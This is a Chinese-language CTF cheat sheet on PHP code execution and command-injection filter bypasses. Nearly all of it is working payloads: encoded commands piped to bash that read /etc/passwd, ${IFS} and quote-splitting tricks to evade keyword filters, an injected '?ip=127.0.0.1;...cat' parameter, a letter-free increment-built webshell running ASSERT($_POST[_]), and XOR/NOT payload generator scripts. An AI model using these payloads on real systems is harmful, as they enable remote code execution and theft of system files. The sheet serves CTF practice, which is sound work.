PHP

基本函数

1.eval()可以将传入的字符串当作php代码执行 解题时常用的指令:phpinfo()查看是否有回显 system()指令用于执行系统命令,如

  system('ls');
system('cat');
//记得在每一条指令后面加;
  

其它函数:

  //具体函数内容查看手册
exec
shell_exec
passthru
popen
proc_popen
Assert(mixed $assertion,string $description = ?)
//会检查assertion,如果是字符串,会被当成php代码执行
Call_user_func(callable $callback …..)
//callback是被调用的回调函数
Call_user_func_array(callable $callback)
//同上
Creat_function(args,code)
//如
<?php
error_reporting(0);
$new_func = create_function('$a,$b','return "$a  "."$b";');//new_func为函数名,$a $b为参数,后面代码
echo $new_func('hello','hack')."\n";
?>
  

连接两个命令

  |
||
&
&&
;
  

绕过

  • 简单绕过关键词过滤a=eval($_GET['A'])&A=system
  • 内联执行:cat `ls`,echo $(ls)
  • 使用’‘包裹一组指令 ('ls /')

绕过内置过滤函数

  $url=escapeshellarg($url);

$url=escapeshellcmd($url);
/*
连用会产生单引号逃逸,传入1' xxx
返回'1'\\''XXX\'
\被转义,还多出来一个'
*/
  

绕过文件名限制

  cat /f*
# 过滤f l a g时,使用glob通配符绕过
# file:///D:/ctf/doc/Linux shell通配符_ glob.htm
more /[e-h][k-m][0-b][e-h]
# “ _[A-Fa-f0-9]_ ”相当于 " _[ABCDEFabcdef0123456789]_ ".)
# “ _[-%]_ ”代表“ _[!”#$%]_ ”而“ _[az]_ ”代表“任何 小写字母”
  

编码绕过

  # 回显只有数字情况下,使用od进行输出:
od -t d1 /flag
# 这是一个命令行指令,用于以十进制形式显示 /flag 文件的内容,具体来说-t 参数用于指定展示的数据格式,d1 表示每个数值使用一个字节来显示,即按字节读取。

# 16进制,先bin2hex
php -r eval(hex2bin(substr(_十六进制,1)))
# 63617420666c61672e706870是cat flag.php的16进制
# cat /etc/passwd
echo "636174202F6574632F706173737764" | xxd -r -p|bash
# php 十六进制绕过 system();
"\x73\x79\x73\x74\x65\x6d"();

# 或者base64/32
echo "base64编码"|base64 -d|bash
echo "base64编码"|base64 -d|sh
echo 'Y2F0wqAK' | base64 -d /etc/passwd # cat /etc/passwd
# 八进制
# ls
$(printf "\154\163")
  

绕过空格

  %09(url传递)(tab)
%20(space)
${IFS}
$IFS$9
$IFS$1
<>(cat<>/flag)
<(cat</flag)
$IFS
{cat,flag}//花括号
/**/
  

绕过特定命令

  # $1、$2等和 $@绕过
l$1s
ca$2t
fl$@ag

# '\'和'以及`绕过滤
ca\t flag
ca''t flag
ca""t flag 
ca``t flag

# 括号拼接
(sy.(st).em)();

# 注释
(sy./*A*/(st)/*A*/.em)/*A*/(wh./*A*/(oa)/*A*/.mi);

# 变量拆分,此方法同样用于命令拆分,用于php
a=c;b=a;c=t;$a$b$c flag.php
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

# 代替system
passthru

# 利用未初始化变量
cat /etc$u/passwd

# ;拼接绕过/
cd ..;cd ..;cd ..;cd ..;cd etc;cat passwd

# path绕过
${PATH:5:1} # l
${PATH:2:1} # s
${PATH:5:1}${PATH:2:1} # 拼接后是ls,执行命令
${PATH:5:1}s # 拼接后是ls,执行命令

# 绕过括号
require '/flag'
echo `cat /flag`
  

cat打开文件过滤

  more
# 一页一页的显示档案内容
less
# 与 more 类似
head
# 查看头几行
tac
# 从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail
# 查看尾几行
nl
# 显示的时候,顺便输出行号
od
# 以二进制的方式读取档案内容
vi
# 一种编辑器,可以查看
vim
# 一种编辑器,可以查看
sort
# 可以查看
uniq
# 可以查看
file -f
# 报错出具体内容
sh /flag 2>%261
# 报错出文件内容
  

自增 参考文章 ‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。 数组(Array)的第一个字母就是大写A,而且第4个字母是小写a

  <?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
 
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
 
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
  

异或 参考文章

  # 对字符串进行异或操作时,php解析时会将异或结果自动转换为字符串,以其给$_赋值,再通过拼接获取payload
"""
然后将需要的命令拼接出来。
列如:phpinfo()
('GGGGGGG'^'7/7.)!(')();
 其中'G'^'7'=p,'G'^'/'=h…………依次类推拼出你想得到的命令。
在有时候,字母和输入全被过滤掉的时候,可以用不可打印字符来进行命令执行。可以稍微改一下上边的脚本,将字符url编码之后再输出,这时候就能绕过去了。
"""
def xor():
    for i in range(0,128):
        for j in range(0,128):
            result=i^j
            print(chr(i)+'  ^  '+chr(j)+' == >  '+chr(result)+" ASCII:"+str(result))
if __name__ == "__main__":
    xor()


# 或者这个脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
​
answer = str(input("请输入进行异或构造的字符串:"))
​
tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)
  

取反 参考文章

  echo urlencode(~'phpinfo');
# system();
(~%8C%86%8C%8B%9A%92)();

# /flag
<?=require~%d0%99%93%9e%98?>